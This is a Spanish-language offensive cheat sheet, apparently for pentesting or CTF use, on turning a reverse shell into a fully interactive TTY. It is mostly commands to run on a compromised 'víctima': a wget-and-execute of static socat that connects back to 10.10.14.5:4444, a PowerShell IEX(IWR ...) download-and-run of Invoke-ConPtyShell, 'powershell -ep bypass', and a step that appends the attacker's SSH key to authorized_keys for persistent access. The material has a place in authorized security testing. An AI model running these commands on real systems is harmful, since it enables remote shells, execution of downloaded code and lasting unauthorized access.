Mejorar la shell a una TTY completa
Convierte una reverse shell en una terminal de verdad: Ctrl+C sin perderla, flechas, autocompletado, sudo, su y el tamaño correcto. Con y sin Python, y también en Windows.
El método de siempre
- 1. Abrir una pty con Python
python3 -c 'import pty; pty.spawn("/bin/bash")' - 2. Mandar la shell al fondo
Ctrl+Z - 3. En tu terminal
stty raw -echo; fg - 4. Volver a la shell
reset xterm - 5. Variables y tamaño
export TERM=xterm-256color SHELL=bash; stty rows 40 columns 160 - Ver tu tamaño (en tu terminal, antes del paso 2)
stty size
Abrir la pty sin Python
- Con script
script -qc /bin/bash /dev/null - Python 2 o python a secas
python -c 'import pty; pty.spawn("/bin/bash")' - Perl
perl -e 'exec "/bin/bash";' - Ruby
ruby -e 'exec "/bin/bash"' - Expect
expect -c 'spawn /bin/bash; interact' - Desde vi o vim
:set shell=/bin/bash | shell - ¿Qué intérpretes hay?
which python3 python perl ruby script socat expect 2>/dev/null
TTY completa con socat estático
- 1. En tu máquina: bajar socat estático y servirlo
wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat && python3 -m http.server 80 - 2. Listener en tu máquina
socat file:`tty`,raw,echo=0 tcp-listen:4444 - 3. En la víctima
wget -q http://10.10.14.5/socat -O /tmp/socat && chmod +x /tmp/socat && /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.5:4444
Windows y atajos
- rlwrap: flechas e historial en una shell de Windows
rlwrap -cAr nc -lvnp 4444 - ConPtyShell: listener en tu máquina
stty raw -echo; (stty size; cat) | nc -lvnp 4444 - ConPtyShell: en la víctima
IEX(IWR http://10.10.14.5/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.10.14.5 4444 - De cmd a PowerShell
powershell -ep bypass - Dejarlo todo en pwncat-cs (TTY, subir y bajar archivos)
pwncat-cs -lp 4444 - Cambiar una shell inestable por SSH: en la víctima, añade tu llave pública
mkdir -p ~/.ssh && echo "ssh-ed25519 AAAA...tu-llave... kali" >> ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys